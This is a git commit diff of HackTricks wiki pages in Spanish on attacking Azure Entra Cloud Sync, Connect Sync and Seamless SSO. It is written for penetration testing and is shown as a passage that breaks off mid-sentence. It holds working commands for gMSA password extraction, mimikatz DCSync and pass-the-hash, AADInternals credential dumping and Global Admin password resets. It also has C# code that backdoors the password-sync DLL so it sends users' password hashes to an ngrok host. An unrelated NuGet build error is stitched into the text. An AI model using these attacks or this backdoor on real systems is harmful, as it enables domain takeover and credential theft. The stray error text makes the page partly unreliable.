mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 22:03:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
**Cloud Sync** es básicamente la nueva forma de Azure para **sincronizar los usuarios de AD en Entra ID**.
|
||||
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync es una nueva oferta de Microsoft diseñada para cumplir y alcanzar tus objetivos de identidad híbrida para la sincronización de usuarios, grupos y contactos a Microsoft Entra ID. Esto se logra utilizando el agente de aprovisionamiento en la nube de Microsoft Entra en lugar de la aplicación Microsoft Entra Connect. Sin embargo, se puede usar junto con Microsoft Entra Connect Sync.
|
||||
|
||||
### Principales Generados
|
||||
|
||||
Para que esto funcione, se crean algunos principales tanto en Entra ID como en el directorio local:
|
||||
|
||||
- En Entra ID se crea el usuario `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) con el rol **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Este rol solía tener muchos permisos privilegiados y podría usarse para [**escalar privilegios incluso a administrador global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Sin embargo, Microsoft decidió eliminar todos los privilegios de este rol y asignarle solo uno nuevo **`microsoft.directory/onPremisesSynchronization/standard/read`** que realmente no permite realizar ninguna acción privilegiada (como modificar la contraseña o atributos de un usuario o agregar una nueva credencial a un SP).
|
||||
|
||||
- En Entra ID también se crea el grupo **`AAD DC Administrators`** sin miembros ni propietarios. Este grupo es útil si se utilizan [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- En el AD, se crea la Cuenta de Servicio **`provAgentgMSA`** con un SamAccountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), o una personalizada con [**estos permisos son necesarios**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Generalmente se crea la predeterminada.
|
||||
|
||||
> [!WARNING]
|
||||
> Entre otros permisos, la Cuenta de Servicio **`provAgentgMSA`** tiene permisos DCSync, lo que permite **a cualquiera que la comprometa comprometer todo el directorio**. Para más información sobre [DCSync consulta esto](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Por defecto, los usuarios de grupos privilegiados conocidos como Administradores de Dominio con el atributo **`adminCount` a 1 no son sincronizados** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente **pueden ser sincronizados**.
|
||||
|
||||
## Sincronización de Contraseñas
|
||||
|
||||
La sección es muy similar a la de:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **La sincronización de hash de contraseñas** se puede habilitar para que los usuarios puedan **iniciar sesión en Entra ID usando sus contraseñas de AD**. Además, cada vez que se modifica una contraseña en AD, se actualizará en Entra ID.
|
||||
- **La escritura de contraseñas** también se puede habilitar, permitiendo a los usuarios modificar su contraseña en Entra ID sincronizando automáticamente su contraseña en el dominio local. Pero según la [documentación actual](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para esto es necesario usar el Agente Connect, así que echa un vistazo a la [sección Az Connect Sync](./az-connect-sync.md) para más información.
|
||||
- **La escritura de grupos**: Esta función permite que las membresías de grupos de Entra ID se sincronicen de vuelta al AD local. Esto significa que si un usuario se agrega a un grupo en Entra ID, también se le agregará al grupo correspondiente en AD.
|
||||
|
||||
## Pivotar
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Si los usuarios de AD están siendo sincronizados desde AD a Entra ID, pivotar de AD a Entra ID es sencillo, solo **compromete la contraseña de algún usuario o cambia la contraseña de algún usuario o crea un nuevo usuario y espera hasta que se sincronice en el directorio de Entra ID (generalmente solo unos minutos)**.
|
||||
|
||||
Así que podrías, por ejemplo:
|
||||
- Comprometer la cuenta **`provAgentgMSA`**, realizar un ataque DCSync, descifrar la contraseña de algún usuario y luego usarla para iniciar sesión en Entra ID.
|
||||
- Simplemente crear un nuevo usuario en el AD, esperar hasta que se sincronice en Entra ID y luego usarlo para iniciar sesión en Entra ID.
|
||||
- Modificar la contraseña de algún usuario en el AD, esperar hasta que se sincronice en Entra ID y luego usarla para iniciar sesión en Entra ID.
|
||||
|
||||
Para comprometer las credenciales de **`provAgentgMSA`**:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Ahora podrías usar el hash del gMSA para realizar un ataque Pass-the-Hash contra Entra ID utilizando la cuenta `provAgentgMSA` y mantener persistencia, pudiendo realizar ataques DCSync contra el AD.
|
||||
|
||||
Para más información sobre cómo comprometer un Active Directory, consulta:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Ten en cuenta que no hay forma de otorgar roles de Azure o EntraID a usuarios sincronizados basados en sus atributos, por ejemplo, en las configuraciones de Cloud Sync. Sin embargo, para otorgar automáticamente permisos a usuarios sincronizados, algunos **grupos de Entra ID de AD** podrían recibir permisos, de modo que los usuarios sincronizados dentro de esos grupos también los reciban, o **se podrían usar grupos dinámicos**, así que siempre verifica las reglas dinámicas y las posibles formas de abusar de ellas:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Con respecto a la persistencia, [esta publicación de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugiere que es posible usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para crear una puerta trasera en el dll **`Microsoft.Online.Passwordsynchronisation.dll`** ubicado en **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que es utilizado por el agente de Cloud Sync para realizar la sincronización de contraseñas, haciendo que exfiltre los hashes de contraseñas de los usuarios que están siendo sincronizados a un servidor remoto. Los hashes se generan dentro de la clase **`PasswordHashGenerator`** y la publicación del blog sugiere agregar algo de código para que la clase se vea así (nota el `use System.Net` y el uso de `WebClient` para exfiltrar los hashes de contraseñas):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Si **Password Writeback** está habilitado, podrías modificar la contraseña de algunos usuarios de Entra ID y si tienes acceso a la red de AD, conectarte usando ellos. Para más información, consulta la sección [Az Connect Sync](./az-connect-sync.md) ya que la escritura de contraseñas se configura utilizando ese agente.
|
||||
|
||||
- En este momento, Cloud Sync también permite **"Microsoft Entra ID a AD"**, pero después de mucho tiempo descubrí que NO PUEDE sincronizar usuarios de EntraID a AD y que solo puede sincronizar usuarios de EntraID que fueron sincronizados con el hash de contraseña y provienen de un dominio que pertenece al mismo bosque de dominio que el dominio al que nos estamos sincronizando, como puedes leer en [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Estos grupos solo pueden contener usuarios sincronizados en las instalaciones y / o grupos de seguridad adicionales creados en la nube.
|
||||
> - Las cuentas de usuario en las instalaciones que están sincronizadas y son miembros de este grupo de seguridad creado en la nube, pueden ser del mismo dominio o de dominio cruzado, pero todos deben ser del mismo bosque.
|
||||
|
||||
Por lo tanto, la superficie de ataque (y utilidad) de este servicio se reduce considerablemente, ya que un atacante necesitaría comprometer el AD inicial desde donde se están sincronizando los usuarios para comprometer a un usuario en el otro dominio (y ambos deben estar en el mismo bosque, aparentemente).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,202 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) es un componente principal de Microsoft Entra Connect. Se encarga de todas las operaciones relacionadas con la sincronización de datos de identidad entre su entorno local y Microsoft Entra ID.
|
||||
|
||||
Para usarlo, es necesario instalar el **`Microsoft Entra Connect Sync`** agente en un servidor dentro de su entorno de AD. Este agente será el encargado de la sincronización desde el lado de AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
El **Connect Sync** es básicamente la forma "antigua" de Azure para **sincronizar usuarios de AD en Entra ID.** La nueva forma recomendada es usar **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Principales Generados
|
||||
|
||||
- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Directory Synchronization Accounts** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
|
||||
- Esto significa que cualquier persona que comprometa esta cuenta podrá comprometer el dominio local.
|
||||
- Se crea una cuenta de servicio administrada **`ADSyncMSA<id>`** en el AD local sin privilegios especiales por defecto.
|
||||
- En Entra ID, se crea el Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** con un certificado.
|
||||
|
||||
## Sincronizar Contraseñas
|
||||
|
||||
### Sincronización de Hash de Contraseña
|
||||
|
||||
Este componente también se puede usar para **sincronizar contraseñas de AD en Entra ID** para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hash de contraseña en el agente de Microsoft Entra Connect Sync instalado en un servidor de AD.
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
|
||||
|
||||
Básicamente, todos los **usuarios** y un **hash de los hashes de contraseña** se sincronizan desde el local a Azure AD. Sin embargo, **las contraseñas en texto claro** o los **hashes originales** no se envían a Azure AD.
|
||||
|
||||
La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, **la expiración de contraseñas** y **la expiración de cuentas** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña local ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua.
|
||||
|
||||
Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> Por defecto, los usuarios de grupos privilegiados conocidos como Domain Admins con el atributo **`adminCount` a 1 no se sincronizan** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente **pueden ser sincronizados**.
|
||||
|
||||
### Escritura de Contraseña
|
||||
|
||||
Esta configuración permite **sincronizar contraseñas de Entra ID en AD** cuando un usuario cambia su contraseña en Entra ID. Tenga en cuenta que para que la escritura de contraseña funcione, el usuario `MSOL_<id>` generado automáticamente en el AD necesita recibir [más privilegios como se indica en la documentación](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que pueda **modificar las contraseñas de cualquier usuario en el AD**.
|
||||
|
||||
Esto es especialmente interesante para comprometer el AD desde un Entra ID comprometido, ya que podrá modificar la contraseña de "casi" cualquier usuario.
|
||||
|
||||
Los administradores de dominio y otros usuarios que pertenecen a algunos grupos privilegiados no se replican si el grupo tiene el **atributo `adminCount` a 1**. Pero otros usuarios que han sido asignados con altos privilegios dentro del AD sin pertenecer a ninguno de esos grupos podrían tener su contraseña cambiada. Por ejemplo:
|
||||
|
||||
- Usuarios asignados con altos privilegios directamente.
|
||||
- Usuarios del grupo **`DNSAdmins`**.
|
||||
- Usuarios del grupo **`Group Policy Creator Owners`** que han creado GPOs y les han asignado a OUs podrán modificar los GPOs que crearon.
|
||||
- Usuarios del **`Cert Publishers Group`** que pueden publicar certificados en Active Directory.
|
||||
- Usuarios de cualquier otro grupo con altos privilegios sin el **atributo `adminCount` a 1**.
|
||||
|
||||
## Pivotando AD --> Entra ID
|
||||
|
||||
### Enumerando Connect Sync
|
||||
|
||||
Verifique los usuarios:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Verifique la **configuración de Connect Sync** (si la hay):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Encontrar las contraseñas
|
||||
|
||||
Las contraseñas del **`MSOL_*`** usuario (y del **Sync\_\*** usuario si se creó) están **almacenadas en un servidor SQL** en el servidor donde **Entra ID Connect está instalado.** Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro.\
|
||||
La base de datos se encuentra en `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Es posible extraer la configuración de una de las tablas, siendo una de ellas encriptada:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del `MSOL_*`** usuario en AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas contraseñas permite escalar privilegios en AD y en AzureAD.
|
||||
|
||||
Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Abusando de MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Los ataques anteriores comprometieron la otra contraseña para luego conectarse al usuario de Entra ID llamado `Sync_*` y luego comprometer Entra ID. Sin embargo, este usuario ya no existe.
|
||||
|
||||
### Abusando ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Esta aplicación se crea sin tener asignados roles de gestión de Entra ID o Azure. Sin embargo, tiene los siguientes permisos de API:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Servicio de restablecimiento de contraseña de Microsoft
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Se menciona que el SP de esta aplicación aún se puede usar para realizar algunas acciones privilegiadas utilizando una API no documentada, pero hasta donde sé, no se ha encontrado ninguna PoC.\
|
||||
En cualquier caso, pensando que esto podría ser posible, sería interesante explorar más a fondo cómo encontrar el certificado para iniciar sesión como este principal de servicio y tratar de abusar de él.
|
||||
|
||||
Esta [entrada de blog](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) se publicó poco antes del cambio de usar el usuario `Sync_*` a este principal de servicio, explicó que el certificado se almacenaba dentro del servidor y era posible encontrarlo, generar PoP (Prueba de Posesión) de él y token gráfico, y con esto, poder agregar un nuevo certificado al principal de servicio (porque un **principal de servicio** siempre puede asignarse nuevos certificados) y luego usarlo para mantener la persistencia como el SP.
|
||||
|
||||
Para realizar estas acciones, se publican las siguientes herramientas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
En mi experiencia, el certificado ya no se almacena en el lugar donde la herramienta anterior lo estaba buscando, y por lo tanto, la herramienta ya no funciona. Así que puede ser necesaria más investigación.
|
||||
|
||||
### Abusando Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Anteriormente, se creó un usuario llamado `Sync_*` en Entra ID con permisos muy sensibles asignados, lo que permitía realizar acciones privilegiadas como modificar la contraseña de cualquier usuario o agregar una nueva credencial a un principal de servicio. Sin embargo, desde enero de 2025, este usuario ya no se crea por defecto, ya que ahora se utiliza la Aplicación/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Sin embargo, aún podría estar presente en algunos entornos, por lo que vale la pena verificarlo.
|
||||
|
||||
Comprometer la cuenta **`Sync_*`** permite **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales).
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
También es posible **modificar las contraseñas de solo los usuarios de la nube** (incluso si eso es inesperado)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
También es posible volcar la contraseña de este usuario.
|
||||
|
||||
> [!CAUTION]
|
||||
> Otra opción sería **asignar permisos privilegiados a un principal de servicio**, que el usuario **Sync** tiene **permisos** para hacer, y luego **acceder a ese principal de servicio** como una forma de privesc.
|
||||
|
||||
### SSO Sin Costuras
|
||||
|
||||
Es posible usar SSO Sin Costuras con PHS, que es vulnerable a otros abusos. Revísalo en:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivotando Entra ID --> AD
|
||||
|
||||
- Si la escritura de contraseñas está habilitada, puedes **modificar la contraseña de cualquier usuario en el AD** que esté sincronizado con Entra ID.
|
||||
- Si la escritura de grupos está habilitada, puedes **agregar usuarios a grupos privilegiados** en Entra ID que están sincronizados con el AD.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,21 +4,70 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **inicia sesión automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escriben sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
Básicamente, Azure AD Seamless SSO **inicia sesión a los usuarios** cuando están **en un PC unido a un dominio local**.
|
||||
Básicamente, Azure AD Seamless SSO **firma a los usuarios** cuando están **en un PC unido a un dominio local**.
|
||||
|
||||
Es compatible tanto con [**PHS (Sincronización de Hash de Contraseña)**](phs-password-hash-sync.md) como con [**PTA (Autenticación Passthrough)**](pta-pass-through-authentication.md).
|
||||
|
||||
El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada AZUREADSSOACC`$`** en el AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada en texto plano a Azure AD** durante la configuración.
|
||||
El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada `AZUREADSSOACC$`** en AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada en texto plano a Entra ID** durante la configuración.
|
||||
|
||||
Los **tickets de Kerberos** son **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Azure AD utiliza la contraseña enviada para desencriptar los tickets.
|
||||
Los **tickets de Kerberos** están **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Entra ID utiliza la contraseña enviada para desencriptar los tickets.
|
||||
|
||||
**Azure AD** expone un **endpoint** (https://autologon.microsoftazuread-sso.com) que acepta **tickets** de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este endpoint para SSO.
|
||||
**Entra ID** expone un **endpoint** (https://autologon.microsoftazuread-sso.com) que acepta **tickets** de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este endpoint para SSO.
|
||||
|
||||
### Local -> nube
|
||||
### Enumeración
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> Lo principal que hay que saber sobre este ataque es que tener solo el TGT o un TGS específico de un usuario que está sincronizado con Entra ID es suficiente para acceder a los recursos en la nube.\
|
||||
> Esto se debe a que es un ticket lo que permite a un usuario iniciar sesión en la nube.
|
||||
|
||||
Para obtener ese ticket TGS, el atacante necesita tener uno de los siguientes:
|
||||
